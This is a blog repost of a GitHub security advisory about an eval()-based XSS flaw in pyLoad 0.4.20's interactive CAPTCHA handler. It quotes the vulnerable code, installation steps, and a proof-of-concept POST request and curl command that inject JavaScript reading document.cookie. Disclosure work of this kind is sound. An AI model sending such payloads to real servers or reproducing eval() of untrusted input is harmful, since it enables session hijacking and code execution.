pyLoad vulnerable to XSS through insecure CAPTCHA

链接: https://github.com/advisories/GHSA-8w3f-4r8f-pf53

仓库 Star: 3536

CVSS 评分: 9.8

参考链接:

描述:

Summary

An unsafe JavaScript evaluation vulnerability in pyLoad’s CAPTCHA processing code allows unauthenticated remote attackers to execute arbitrary code in the client browser and potentially the backend server. Exploitation requires no user interaction or authentication and can result in session hijacking, credential theft, and full system rce.

Details

The vulnerable code resides in

1
2
3
function onCaptchaResult(result) {
eval(result); // Direct execution of attacker-controlled input
}
  • The onCaptchaResult() function directly passes CAPTCHA results (sent from the user) into eval()
  • No sanitization or validation is performed on this input
  • A malicious CAPTCHA result can include JavaScript such as fetch() or child_process.exec() in environments using NodeJS
  • Attackers can fully hijack sessions and pivot to remote code execution on the server if the environment allows it

Reproduction Methods

  1. Official Source Installation:
1
2
3
4
5
git clone https://github.com/pyload/pyload
cd pyload
git checkout 0.4.20
python -m pip install -e .
pyload --userdir=/tmp/pyload
  1. Virtual Environment:
1
2
3
4
python -m venv pyload-env
source pyload-env/bin/activate
pip install pyload==0.4.20
pyload

CAPTCHA Endpoint Verification

Technical Clarification:

  1. The vulnerable endpoint is actually:

    1
    /interactive/captcha
  2. Complete PoC Request:

1
2
3
4
5
POST /interactive/captcha HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded

cid=123&response=1%3Balert(document.cookie)
  1. Curl Command Correction:
1
2
curl -X POST "http://localhost:8000/interactive/captcha" \
-d "cid=123&response=1%3Balert(document.cookie)"
  1. Vulnerable Code Location:
    The eval() vulnerability is confirmed in:
    1
    src/pyload/webui/app/static/js/captcha-interactive.user.js

Resources

  1. https://github.com/pyload/pyload/commit/909e5c97885237530d1264cfceb5555870eb9546
  2. OWASP: Avoid eval()
  3. #4586

pyLoad vulnerable to XSS through insecure CAPTCHA
http://example.com/2025/07/15/github_2107497278/
作者
lianccc
发布于
2025年7月15日
许可协议